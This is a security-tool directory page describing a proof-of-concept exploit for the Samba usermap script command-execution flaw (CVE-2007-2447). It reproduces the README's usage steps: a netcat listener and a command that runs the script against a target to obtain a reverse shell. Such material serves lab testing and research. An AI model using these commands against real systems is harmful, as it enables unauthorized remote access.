Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2007-2447 — Proof-of-concept exploit for Samba usermap script remote command execution (CVE-2007-2447), with reverse shell capability for controlled lab testing and security research. | Kitploit
Tools/GitHubGitHub/abdulsaabir/cve-2007-2447
Payload GenerationVulnerability AnalysisExploitationPenetration TestingCommand and ControlLearning & EducationRemote Access Tool
GitHubabdulsaabir/cve-2007-2447

CVE-2007-2447

Proof-of-concept exploit for Samba usermap script remote command execution (CVE-2007-2447), with reverse shell capability for controlled lab testing and security research.

View Repository
13110 months agoNot yet reviewed
Share

CVE-2007-2447

PoC: Samba "usermap script" remote command-execution (historical CVE). This repository contains a small proof-of-concept script for research and educational review. The primary script is usermap_script_Command_Execution.py.

Reference writeup: https://amriunix.com/post/cve-2007-2447-samba-usermap-script/

Usage

Clone the repository and run the script in a controlled lab. The PoC optionally uses a reverse shell back to LHOST:LPORT — start your listener before running the script and ensure dependencies are installed (see Installation).

git clone https://github.com/abdulsaabir/CVE-2007-2447.git
cd CVE-2007-2447
# ensure dependencies are installed (see Installation), then start a listener on your LHOST:LPORT
# example using netcat with a placeholder port:
nc -lnvp <LPORT>
# in another terminal, run the PoC against the lab target:
python3 usermap_script_Command_Execution.py <RHOST> 139 <LHOST> <LPORT>

Parameters

  • RHOST — target IP or hostname
  • RPORT — target TCP port (typically 139)
  • LHOST — listener IP for a reverse connection
  • LPORT — listener port

Installation

Recommended: create an isolated Python virtual environment and install dependencies from requirements.txt before running the script.

python3 -m venv exploit_env
source exploit_env/bin/activate
pip install -r requirements.txt

Safety & Disclaimer

This code is provided for legitimate security research, education, and defensive testing only. Do not run this script against any system you do not own or have explicit written permission to test. Misuse can lead to legal consequences; the repository owner is not responsible for misuse.

Always prefer static code review and controlled lab testing (VM snapshots, isolated networks, and packet captures) when analyzing potentially dangerous code.

If you would like a non-executable annotated walkthrough or a requirements.txt, open an issue or request it here.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    547
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    369
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    366
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    309
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    282

Explore all tools

Browse our collection of tools

View all tools →